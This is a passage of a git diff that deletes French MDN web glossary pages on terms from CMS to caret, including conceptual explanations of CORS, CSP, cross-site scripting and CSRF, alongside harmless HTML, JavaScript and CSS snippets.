Un CMS (Content Management System ou Système de gestion de contenu) est un logiciel permettant à un utilisateur de publier, organiser, modifier et supprimer différents types de contenus. Il peut s'agir de textes, d'images, de vidéos, de son ou encore, de code interactif.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Système de gestion de contenu")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/codage_caracteres/index.html b/files/fr/glossaire/codage_caracteres/index.html deleted file mode 100644 index 299bb1c955..0000000000 --- a/files/fr/glossaire/codage_caracteres/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Codage des caractères -slug: Glossaire/codage_caracteres -tags: - - Composition - - Glossaire - - Internationalisation - - Langues -translation_of: Glossary/character_encoding ---- -

Un encodage définit une correspondance entre les octets et le texte. Une séquence d'octets permet différentes interprétations textuelles. En spécifiant un codage particulier (tel que UTF-8), nous spécifions comment la séquence d'octets doit être interprétée.

- -

Par exemple, en HTML, nous déclarons généralement l'usage du codage de caractères UTF-8 en utilisant la ligne suivante :

- -
-
<meta charset="utf-8">
- -

Ceci nous permet de nous assurer que nous pouvons utiliser des caractères issus de presque toutes les langues humaines dans notre document HTML et que ces caractères seront affichés correctement.

-
- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/codec/index.html b/files/fr/glossaire/codec/index.html deleted file mode 100644 index ae310ad06d..0000000000 --- a/files/fr/glossaire/codec/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Codec -slug: Glossaire/Codec -tags: - - Glossaire - - Mécanique web -translation_of: Glossary/Codec ---- -

Un codec  (terme formé à partir de "codeur-décodeur") est un programme informatique qui code et décode un flux de données.

- -

Plus d'informations

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Codec")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/colonne_de_grille/index.html b/files/fr/glossaire/colonne_de_grille/index.html deleted file mode 100644 index c6c5b2f74c..0000000000 --- a/files/fr/glossaire/colonne_de_grille/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Colonne de grille -slug: Glossaire/Colonne_de_grille -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Column ---- -

Une colonne de grille est une piste verticale dans une grille CSS, et est l'espace entre deux lignes de grille verticales. Elle est définie par la propriété {{cssxref("grid-template-columns")}} ou les propriétés raccourcies {{cssxref("grid")}} ou {{cssxref("grid-template")}}.

- -

De plus, des colonnes peuvent être créées dans la grille implicite lorsque les éléments sont placés en dehors des colonnes créées dans la grille explicite. Ces colonnes seront automatiquement redimensionnées ou peuvent avoir une taille spécifiée avec la propriété {{cssxref("grid-auto-columns")}}.

- -

Lorsque vous travaillez avec l'alignement dans les grilles CSS, l'axe vers le bas duquel les colonnes s'exécutent est connu comme l'axe de colonne (ou bloc).

- -

En apprendre plus

- -

Références de propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-auto-columns")}}
    • -
  • {{cssxref("grid")}}
    • -
  • {{cssxref("grid-template")}}
    • -
- -

En lire plus

- - diff --git a/files/fr/glossaire/compile/index.html b/files/fr/glossaire/compile/index.html deleted file mode 100644 index dfa623e454..0000000000 --- a/files/fr/glossaire/compile/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Compilation -slug: Glossaire/Compile -tags: - - Compilation - - Glossaire - - Langages -translation_of: Glossary/Compile ---- -

La compilation est un processus consistant à transformer un programme informatique, écrit dans un langage donné, en un programme dans un autre langage (généralement en assembleur qui pourra être exécuté par l'ordinateur).

- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia", "Compilateur")}} sur Wikipedia
    • -
- -

Pour approfondir

- - diff --git a/files/fr/glossaire/compression_avec_perte/index.html b/files/fr/glossaire/compression_avec_perte/index.html deleted file mode 100644 index 5b8a1a77f8..0000000000 --- a/files/fr/glossaire/compression_avec_perte/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Compression avec perte -slug: Glossaire/compression_avec_perte -tags: - - Débutant - - Glossaire - - Images - - JPEG - - compression -translation_of: Glossary/lossy_compression ---- -

La compression avec perte, ou compression irréversible, est une méthode de compression des données qui réalise des approximations inexactes et abandonne une partie des données pour représenter un contenu.

- -

Pour le dire simplement : la compression avec perte entraîne une perte de données du fichier d'origine, entraînant une possible dégradation de sa qualité.

- -

Le processus de compression est ici irréversible; une fois la compression avec perte réalisée, le contenu ne peut pas retrouver son état initial. C'est pourquoi le contenu ainsi compressé ne devrait plus, en principe, être à nouveau édité.

- -

La compression avec perte est largement utilisée pour les formats d'image.

- -

Lossy compression image

- -

Même s'il n'y a pas de différence flagrante de qualité entre les deux images ci-dessus, la taille de la seconde a été considérablement réduite grâce à une compression avec perte.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/compression_sans_perte/index.html b/files/fr/glossaire/compression_sans_perte/index.html deleted file mode 100644 index 244641193e..0000000000 --- a/files/fr/glossaire/compression_sans_perte/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Compression sans perte -slug: Glossaire/Compression_sans_perte -tags: - - Débutant - - Glossaire - - Images - - Performance Web - - compression - - données -translation_of: Glossary/Lossless_compression ---- -

La compression sans perte est un type d'algorithme de compression qui permet aux données d'origine d'être parfaitement restituées à partir des données compressées. Les méthodes de compression sans perte sont réversibles. Parmi les exemples de compression sans perte on retrouve {{glossary("GZIP")}}, {{glossary("Brotli")}}, WebP, and {{glossary("PNG")}},

- -

{{glossary("Lossy compression")}}, en revanche, résulte en une approximation inexacte, puisque certaines données du fichier d'origine ont été abandonnées, faisant de la compression avec perte une méthode irréversible.

- - diff --git a/files/fr/glossaire/computer_programming/index.html b/files/fr/glossaire/computer_programming/index.html deleted file mode 100644 index 5df7497621..0000000000 --- a/files/fr/glossaire/computer_programming/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Programmation informatique -slug: Glossaire/Computer_Programming -tags: - - Langage de programmation - - Programmation - - Programmation informatique -translation_of: Glossary/Computer_Programming ---- -

La programmation informatique est un processus de composition et d'organisation d'un ensemble d'instructions. Celles-ci indiquent à un ordinateur / logiciel ce qu'il faut faire dans une langue que l'ordinateur comprend. Elles sont réalisées sous la forme de plusieurs langages différents tels que C ++, Java, JavaScript, HTML, Python, Ruby et Rust.

- -

En utilisant un langage approprié, vous pouvez programmer / créer toutes sortes de logiciels. Par exemple, un programme qui aide les scientifiques pour des calculs complexes, une base de données qui stocke d'énormes quantités de données, un site Web qui permet de télécharger de la musique ou un logiciel d'animation pour la création de films animés.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Programmation informatique")}} sur Wikipédia
    • -
  • {{Interwiki("wikipedia", "Liste_de_langages_de_programmation")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/condensat/index.html b/files/fr/glossaire/condensat/index.html deleted file mode 100644 index aa38f171cb..0000000000 --- a/files/fr/glossaire/condensat/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Condensé -slug: Glossaire/Condensat -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Digest ---- -

Un condensé (digest) est une petite valeur générée par une {{glossary("hash","fonction de hachage")}} à partir d'un message complet. Dans l'idéal, un condensé est rapide à calculer, non réversible et imprédictible, et par conséquent indique si quelqu'un a falsifié un message donné.

- -

Un condensé peut être utilisé pour effectuer plusieurs tâches :

- -
    -
  • dans des applications non cryptographiques (par exemple, l'index de tables de hachage ou une empreinte servant soit à détecter des données dupliquées, soit à identifier des fichiers de manière unique)
    • -
  • vérifier l'intégrité d'un message (un message falsifié aura un haché différent)
    • -
  • enregistrer des mots de passe afin qu'ils ne puissent pas être récupérés, mais seulement vérifiés (pour faire cela de manière sécurisée, il faut aussi saler le mot de passe.)
    • -
  • générer des nombres pseudo-aléatoires
    • -
  • générer des {{glossary("Key","clés")}}
    • -
- -

Il est primordial de choisir la fonction de hachage appropriée à votre cas concret pour éviter les collisions et la prévisibilité.

- -

Pour approfondir

- -
    -
  • Voir {{glossary("hash","fonction de hachage")}}
    • -
  • {{interwiki("wikipedia", "Fonction_de_hachage_cryptographique", "Fonction de hachage")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/conditionnel/index.html b/files/fr/glossaire/conditionnel/index.html deleted file mode 100644 index 40eab1c250..0000000000 --- a/files/fr/glossaire/conditionnel/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Condition -slug: Glossaire/Conditionnel -tags: - - Débutant - - Glossaire - - scripts -translation_of: Glossary/Conditional ---- -

Une condition est un ensemble de règles qui peut interrompre ou modifier l'exécution normale du code, selon que la condition est remplie ou non.

- -

Une instruction, ou un ensemble d'instructions, est démarrée si une condition spécifique est remplie. Dans le cas contraire, d'autres instructions sont exécutées. Il est également possible de répéter l'exécution d'une instruction, ou ensemble d'instructions, tant qu'une condition n'est pas encore remplie.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Système_de_gestion_d'exceptions#Le_syst.C3.A8me_de_conditions_de_Common_Lisp", "Condition")}} sur Wikipédia
    • -
- -

Référence technique

- - - -

Apprendre

- - diff --git a/files/fr/glossaire/constant/index.html b/files/fr/glossaire/constant/index.html deleted file mode 100644 index 66a256334f..0000000000 --- a/files/fr/glossaire/constant/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Constante -slug: Glossaire/Constant -tags: - - Constante - - Glossaire - - scripts -translation_of: Glossary/Constant ---- -

Une constante est une valeur que le programmeur ne peut pas modifier, des nombres par exemple (1, 2, 42). Par contre, avec des {{glossary("Variable","variables")}}, le programmeur peut affecter une nouvelle {{glossary("value","valeur")}} à un nom de variable déjà utilisé.

- -

Comme les variables, certaines constantes sont désignées par des identificateurs. Par exemple, l'identificateur pi peut être associé à la valeur 3,14... .

- -

Plus d'informations

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Constante")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/constructeur/index.html b/files/fr/glossaire/constructeur/index.html deleted file mode 100644 index 05981a50d1..0000000000 --- a/files/fr/glossaire/constructeur/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Constructeur -slug: Glossaire/Constructeur -tags: - - Glossaire - - scripts -translation_of: Glossary/Constructor ---- -

Un constructeur est associé à un {{glossary("object","objet")}} d'une classe particulière qui a été instanciée. Le constructeur initialise cet objet et peut fournir un accès à ses informations privées. Le concept de constructeur peut s'appliquer à la plupart des langages de {{glossary("OOP","programmation orientée objet")}}. Dans l'essentiel, un constructeur en {{glossary("JavaScript")}} est en général déclaré lors de l'instance d'une {{glossary("Class","classe")}}.

- -

Syntaxe

- -
// Voici un constructeur générique par défaut de la classe Default
-function Default() {
-}
-
-// Voici le constructeur de classe surchargé Overloaded
-// avec des arguments en paramètres
-function Overloaded(arg1, arg2, ...,argN){
-}
-
- -

Pour appeler le constructeur d'une classe en JavaScript, utilisez un opérateur new pour affecter une nouvelle {{glossary("Object reference","référence d'objet")}} à une {{glossary("Variable","variable")}}.

- -
function Default() {
-}
-
-// Une nouvelle référence d'un objet Default affectée à
-// la variable locale defaultReference
-var defaultReference = new Default();
-
- -

 

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Constructeur (programmation)", "Constructeur")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/contexte_d_empilement/index.html b/files/fr/glossaire/contexte_d_empilement/index.html deleted file mode 100644 index 6fabd788a3..0000000000 --- a/files/fr/glossaire/contexte_d_empilement/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Contexte d'empilement -slug: Glossaire/Contexte_d_empilement -tags: - - CSS - - Encodage - - Glossaire -translation_of: Glossary/Stacking_context ---- -

Le contexte d'empilement renvoie à la façon dont les éléments d'une page web semblent se superposer à d'autres éléments, tout comme vous pouvez placer les fiches sur votre bureau côte à côte ou se chevauchant.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/conversion_de_type/index.html b/files/fr/glossaire/conversion_de_type/index.html deleted file mode 100644 index 1e00b8c35e..0000000000 --- a/files/fr/glossaire/conversion_de_type/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Conversion de type -slug: Glossaire/Conversion_de_type -tags: - - CodingScripting - - Conversion de type - - Glossaire - - Transtypage -translation_of: Glossary/Type_Conversion ---- -

La conversion de type (ou transtypage) est le transfert d'une donnée d'un type de donnée vers un autre. Une conversion implicite se produit quand le compilateur affecte les types de donnée automatiquement, mais le code source peut aussi demander à ce qu'une conversion ait lieu de manière explicite.  Exemples simples : étant donnée l'instruction 5+2.0, l'entier 5 est converti implicitement en nombre à virgule flottante, mais avec l'instruction Number("0x11"), la chaîne "0x11" est explicitement convertie en valeur numérique 17.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Conversion de type")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/cookie/index.html b/files/fr/glossaire/cookie/index.html deleted file mode 100644 index 3f445a6a00..0000000000 --- a/files/fr/glossaire/cookie/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Cookie -slug: Glossaire/Cookie -tags: - - Glossaire - - Mécanique web -translation_of: Glossary/Cookie ---- -

Un cookie est un petit bout d'information laissé via le navigateur web par un site web sur l'ordinateur du visiteur.

- -

Les cookies servent à personnaliser l'expérience web d'un utilisateur vis-à-vis d'un site web. Il peut contenir les préférences de l'utilisateur ou les saisies lors de l'accès à ce site web. Les utilisateurs peuvent configurer leurs navigateurs web pour accepter, rejeter ou supprimer les cookies.

- -

Les cookies peuvent être définis et modifiés au niveau serveur par l'en-tête HTTP Set-Cookie ou en JavaScript avec document.cookie.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/copyleft/index.html b/files/fr/glossaire/copyleft/index.html deleted file mode 100644 index 904011a431..0000000000 --- a/files/fr/glossaire/copyleft/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Copyleft -slug: Glossaire/Copyleft -tags: - - Glossaire - - OpenPractices - - Partage - - Remixing -translation_of: Glossary/Copyleft ---- -

Copyleft est un terme, faisant généralement référence à une licence, utilisé pour indiquer que cette dernière impose la redistribution dudit travail sous la même licence que l'original. Des exemples de licences copyleft sont la GNU {{Glossary("GPL")}} (pour le logiciel) et les licences Creative Commons SA (Share Alike) (pour les œuvres artisitiques).

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Copyleft")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/cors/index.html b/files/fr/glossaire/cors/index.html deleted file mode 100644 index 701cd7bedd..0000000000 --- a/files/fr/glossaire/cors/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: CORS -slug: Glossaire/CORS -tags: - - CORS - - Glossaire - - Infrastructure - - Sécurité -translation_of: Glossary/CORS ---- -

CORS (Partage de ressource cross-origin) est un mécanisme qui consiste à transmettre des entêtes HTTP qui déterminent s'il faut ou non bloquer les requêtes à des ressources restreintes sur une page web qui se trouve sur un domaine externe au domaine dont la ressource est originaire.

- -

La politique de sécurité de même origine interdit les requêtes d'origines différentes par défaut et ce pour des raisons de sécurité.
- CORS permet de contourner cette limitation en permettant au serveur d'avoir le contrôle sur les ressources partagés et offre un mécanisme sécurisé pour permettre l'échange de données qui ne partagent pas le même domaine d'origine (d'où le terme "cross-origin").

- -

Pour approfondir

- -

Culture générale

- - - -

En-têtes liés au CORS

- -
-
{{HTTPHeader("Access-Control-Allow-Origin")}}
-
Indique le ou les domaines pour lesquels la ressource peut être partagée.
-
{{HTTPHeader("Access-Control-Allow-Credentials")}}
-
Indique si la réponse peut ou non être exposée si le flag est à "true".
-
{{HTTPHeader("Access-Control-Allow-Headers")}}
-
Utilisé en réponse à une requête de pré-vérification pour indiquer quels sont les en-têtes qui peuvent être utilisés dans la requête courante.
-
{{HTTPHeader("Access-Control-Allow-Methods")}}
-
Utilisé en réponse à une requête de pré-vérification pour indiquer quels sont les méthodes allouées pour accéder à une ressource.
-
{{HTTPHeader("Access-Control-Expose-Headers")}}
-
Indique quels en-têtes peuvent être exposés dans le cadre de la réponse en énumérant leurs noms.
-
{{HTTPHeader("Access-Control-Max-Age")}}
-
Indique combien de temps le résultat d'une pré-vérification peut être gardé en cache par le demandeur de la pré-vérification.
-
{{HTTPHeader("Access-Control-Request-Headers")}}
-
Utilisé lors de l'émission d'une demande de contrôle en amont, pour indiquer au serveur quels en-têtes HTTP seront utilisés lors de la demande.
-
{{HTTPHeader("Access-Control-Request-Method")}}
-
Utilisé lors de l'émission d'une demande de contrôle en amont permettant au serveur de savoir quelle méthode HTTP sera utilisée lors de la création de la requête.
-
{{HTTPHeader("Origin")}}
-
Indique quelle est l'origine d'une récupération.
-
- -

Référence technique

- - diff --git a/files/fr/glossaire/crlf/index.html b/files/fr/glossaire/crlf/index.html deleted file mode 100644 index 88bf9e44a9..0000000000 --- a/files/fr/glossaire/crlf/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: CRLF -slug: Glossaire/CRLF -tags: - - CR - - CRLF - - Glossaire - - LF - - fin de ligne - - retour chariot -translation_of: Glossary/CRLF ---- -

CR et LF sont des caractères de contrôle ou bytecode qui peuvent être utilisés pour indiquer une fin de ligne dans un fichier texte.

- -
    -
  • CR = Carriage Return (Retour chariot) (\r, 0x0D en hexadécimal, 13 en décimal) — déplace le curseur au début de la ligne sans avancer à la ligne suivante.
    • -
  • LF = Line Feed, Saut de ligne (\n, 0x0A en hexadécimal, 10 en décimal) — déplace le curseur vers la ligne suivante sans retour au début de la ligne.
    • -
- -

Un CR tout de suite suivi par un LF (CRLF, \r\n, ou 0x0D0A) descend le curseur vers la ligne suivante et le place au début de la ligne.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Fin_de_ligne","Fin de ligne")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia","Retour_chariot","Retour chariot")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/cross-site_scripting/index.html b/files/fr/glossaire/cross-site_scripting/index.html deleted file mode 100644 index 77ca745489..0000000000 --- a/files/fr/glossaire/cross-site_scripting/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Cross-site scripting -slug: Glossaire/Cross-site_scripting -tags: - - DOM - - Faille de sécurité - - Glossaire - - Sécurité - - XSS -translation_of: Glossary/Cross-site_scripting ---- -

Cross-site scripting (XSS) est une faille de sécurité qui permet à un attaquant d'injecter dans un site web un code client malveillant. Ce code est exécuté par les victimes et permet aux attaquants de contourner les contrôles d'accès et d'usurper l'identité des utilisateurs. Selon le projet Open Web Application Security, XSS était la troisième cause de vulnérabilité des applications du web en 2013.

- -

Ces attaques réussissent si l'application Web n'emploie pas assez de validation ou d'encodage. Le navigateur de l'utilisateur ne peut pas détecter que le script malveillant n'est pas fiable et lui donne donc accès à tous les cookies, jetons de session ou autres informations sensibles propres au site, ou permet au script malveillant de réécrire le contenu {{glossary("HTML")}}.

- -

Les attaques de script intersite se produisent généralement lorsque 1) les données entrent dans une application Web via une source non fiable (le plus souvent une requête web) ou 2) le contenu dynamique est envoyé à un utilisateur web sans être reconnu comme un contenu malveillant.

- -

Le contenu malveillant inclut souvent {{glossary("JavaScript")}}, mais parfois HTML, Flash, ou quelqu'autre code que le navigateur peut exécuter. La diversité des attaques basées sur XSS est presque illimitée, mais elles incluent généralement la transmission de données privées comme des cookies ou d'autres informations de session à l'attaquant, redirigeant la victime vers une page Web contrôlée par l'attaquant ou exécutant d'autres opérations malveillantes sur la machine de l'utilisateur.

- -

Les attaques XSS peuvent être classées en 3 catégories : stockée (aussi appelée persistante), reflétée (aussi appelée non-persistante) ou basée sur DOM.

- -
-
Les attaques XSS stockées
-
Le script injecté est stocké en permanence sur les serveurs cibles. La victime extrait ensuite ce script malveillant du serveur lorsque le navigateur envoie une demande de données.
-
Les attaques XSS reflétées
-
Lorsqu'un utilisateur est trompé en cliquant sur un lien malveillant, en soumettant un formulaire spécialement conçu ou en naviguant sur un site malveillant, le code injecté se rend sur le site Web vulnérable. Le serveur Web renvoie le script injecté au navigateur de l'utilisateur, par exemple dans un message d'erreur, un résultat de recherche ou toute autre réponse incluant des données envoyées au serveur dans le cadre de la demande. Le navigateur exécute le code car il suppose que la réponse provient d'un serveur "de confiance" avec lequel l'utilisateur a déjà interagi.
-
Les attaques XSS basées sur DOM
-
La charge utile est exécutée à la suite de la modification de l'environnement DOM (dans le navigateur de la victime) utilisé par le script côté client d'origine. En d'autres termes, la page elle-même ne change pas, mais le code côté client contenu dans la page s'exécute de manière inattendue en raison des modifications malveillantes apportées à l'environnement DOM.
-
- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/crud/index.html b/files/fr/glossaire/crud/index.html deleted file mode 100644 index 2f4018e0f0..0000000000 --- a/files/fr/glossaire/crud/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: CRUD -slug: Glossaire/CRUD -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/CRUD ---- -

CRUD (create, read, update, delete) (créer, lire, mettre à jour, supprimer) est un acronyme pour les façons dont on peut fonctionner sur des données stockées. C'est un moyen mnémotechnique pour les quatre fonctions de base du stockage persistant. CRUD fait généralement référence aux opérations effectuées dans une base de données ou un magasin de données, mais peut également s'appliquer aux fonctions de niveau supérieur d'une application telles que les suppressions logicielles lorsque les données ne sont pas supprimées mais marquées comme supprimées via un état.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "CRUD")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/cryptanalyse/index.html b/files/fr/glossaire/cryptanalyse/index.html deleted file mode 100644 index cf35e2a126..0000000000 --- a/files/fr/glossaire/cryptanalyse/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Cryptanalyse -slug: Glossaire/Cryptanalyse -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Cryptanalysis ---- -

La cryptanalyse est la branche de la {{glossary("cryptography","cryptographie")}} qui étudie la manière de casser des codes et des cryptosystèmes. Elle développe des techniques pour casser les {{glossary("cipher","systèmes cryptographiques")}}, en particulier par des méthodes plus efficaces que la recherche par force brute. En plus des méthodes traditionnelles comme l'analyse fréquentielle ou l'indice de coïncidence, la cryptanalyse intègre des méthodes plus récentes, comme la cryptanalyse linéaire our la cryptanalyse différentielle qui peuvent venir à bout de systèmes cryptographiques plus avancés.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Cryptanalyse")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/cryptogramme/index.html b/files/fr/glossaire/cryptogramme/index.html deleted file mode 100644 index 65dd4ba849..0000000000 --- a/files/fr/glossaire/cryptogramme/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Cryptogramme -slug: Glossaire/Cryptogramme -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Privacy - - Sécurité -translation_of: Glossary/Ciphertext ---- -

En {{glossary("cryptography","cryptographie")}}, un cryptogramme est un message codé qui contient des informations mais qui n'est pas lisible sauf s'il est {{glossary("decryption","déchiffré")}} avec le bon {{glossary("cipher","cryptosystème")}} et le bon code secret (qu'on appelle une {{glossary("Key","clé")}}). Une fois déchiffré, on obtient le {{glossary("Texte_brut","texte brut")}}. La sécurité d'un cryptogramme et par conséquent celle des informations qu'il contient dépendent de la sécurité du cryptosystème utilisé et de la possibilité de garder la clé secrète.

- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia", "Cryptographie")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/cryptographie/index.html b/files/fr/glossaire/cryptographie/index.html deleted file mode 100644 index 6b7c78ae56..0000000000 --- a/files/fr/glossaire/cryptographie/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Cryptographie -slug: Glossaire/Cryptographie -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Cryptography ---- -

La cryptographie, ou cryptologie, est la science qui étudie comment coder et transmettre des messages de manière sécurisée. La cryptographie conçoit et étudie des algorithmes (utilisés pour coder et décoder des messages dans un environnement non sûr) et leurs applications. En plus de la confidentialité des données, la cryptographie s'attaque aussi à l'identification, l'authentification, la non-répudiation, et l'intégrité des données. Par conséquent, elle étudie également l'usage des méthodes cryptographiques dans ce contexte, les cryptosystèmes.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/csp/index.html b/files/fr/glossaire/csp/index.html deleted file mode 100644 index 45a154a033..0000000000 --- a/files/fr/glossaire/csp/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: CSP -slug: Glossaire/CSP -tags: - - Glossaire - - HTTP - - Infrastructure - - Sécurité -translation_of: Glossary/CSP ---- -

Un CSP (Content Security Policy) est utilisé pour détecter et restreindre certains types d'attaques visant des sites web comme les failles {{Glossary("Cross-site scripting")}} et les injections de données.

- -

L'implémentation est basée sur un en-tête {{Glossary("HTTP")}} appelé Content-Security-Policy.

- -

Pour approfondir

- -

Culture générale

- - - -

Connaissances techniques

- - diff --git a/files/fr/glossaire/csrf/index.html b/files/fr/glossaire/csrf/index.html deleted file mode 100644 index d04d5207e1..0000000000 --- a/files/fr/glossaire/csrf/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: CSRF -slug: Glossaire/CSRF -tags: - - Glossaire - - Sécurité -translation_of: Glossary/CSRF ---- -

CSRF (Cross-Site Request Forgery) est une attaque qui usurpe l'identité d'un utilisateur de confiance et envoie des commandes non désirées sur un site web. Cela peut être réalisé, par exemple, en ajoutant des paramètres malveillants dans une {{glossary("URL")}} associée à un lien qui prétend aller quelque part ailleurs.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/css/index.html b/files/fr/glossaire/css/index.html deleted file mode 100644 index 1b7bd31838..0000000000 --- a/files/fr/glossaire/css/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: CSS -slug: Glossaire/CSS -tags: - - CSS - - Encodage - - Glossaire - - Web - - 'l10n:priority' -translation_of: Glossary/CSS ---- -

CSS (Cascading Style Sheets ou Feuilles de style en cascade en français) est un langage déclaratif utilisé pour décrire la présentation de pages web dans le {{glossary("Browser","navigateur")}}. Le navigateur applique les déclarations de style CSS aux éléments concernés pour les mettre en forme. Une déclaration de style contient des propriétés et leurs valeurs et détermine l'apparence d'un ou plusieurs éléments de la page.

- -

CSS est l'une des trois technologies qui constituent le noyau du web, avec {{Glossary("HTML")}} et {{Glossary("JavaScript")}}. Ce langage est principalement utilisé pour appliquer un style aux {{Glossary("Element","éléments HTML")}}, mais peut aussi être utilisé avec d'autres langages de balisage tels que {{Glossary("SVG")}} ou encore {{Glossary("XML")}}.

- -

Une règle CSS est un ensemble de {{Glossary("CSS Property","propriétés")}} associé à un {{Glossary("CSS selector" ,"sélecteur")}}. Voici un exemple dans lequel chaque paragraphe HTML apparaîtra en jaune sur fond noir :

- -
/* Le sélecteur "p" indique que tous les paragraphes dans le document seront affectés par la règle */
-p {
-  /* La propriété "color" (couleur) définit la couleur du texte. */
-  /* Ici, cette couleur sera le jaune (yellow en anglais) */
-  color: yellow;
-
-  /* La propriété "background-color" (couleur d'arrière-plan) définit la couleur d'arrière-plan */
-  /* Ici, cette couleur sera le noir (black) */
-  background-color: black;
-}
- -

Le principe de « cascade » fait référence aux règles de préséance dans l'application des divers {{Glossary("CSS Selector","sélecteurs")}} pointant le même élément de la page. C'est une fonctionnalité particulièrement importante dans la mesure où un site web complexe peut contenir des milliers de règles CSS.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • Apprendre CSS
    • -
  • {{interwiki("wikipedia","Feuilles_de_style_en_cascade", "Feuilles de style en cascade")}} sur Wikipédia
    • -
- -

Références techniques

- - - -

En apprendre plus sur CSS

- - diff --git a/files/fr/glossaire/curseur_caret/index.html b/files/fr/glossaire/curseur_caret/index.html deleted file mode 100644 index fa81ceca96..0000000000 --- a/files/fr/glossaire/curseur_caret/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Curseur "caret" -slug: Glossaire/Curseur_caret -tags: - - Curseurs - - Glossaire - - Insertion -translation_of: Glossary/caret ---- -

Un curseur ("caret" parfois appelé "curseur de texte") est un indicateur affiché sur l'écran pour indiquer où la saisie de texte sera insérée. La plupart des interfaces utilisateur représentent le curseur à l'aide d'une fine ligne verticale ou d'une boîte de taille de caractère qui clignote, mais cela peut varier. Ce point dans le texte est appelé le point d'insertion. Le mot anglais "caret" différencie le point d'insertion du texte du curseur (cursor) de la souris.

- -

Sur le web, un curseur "caret" est utilisé pour représenter le point d'insertion dans les éléments {{HTMLElement("input")}} et {{HTMLElement("textarea")}}, ainsi que tous les éléments dont l'attribut {{htmlattrxref("contenteditable")}} est défini, permettant ainsi au contenu de l'élément d'être édité par l'utilisateur.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Curseur")}} sur Wikipedia
    • -
- -

CSS lié au curseur "caret"

- -

Vous pouvez définir la couleur du curseur pour le contenu modifiable d'un élément donné en définissant la propriété CSS {{cssxref("caret-color")}} de l'élément et une valeur appropriée de {{cssxref("<color>")}}.

- -

Éléments HTML susceptibles de présenter un signe d'insertion

- -

Ces éléments fournissent des champs ou des zones de saisie de texte et utilisent donc le signe d'insertion.

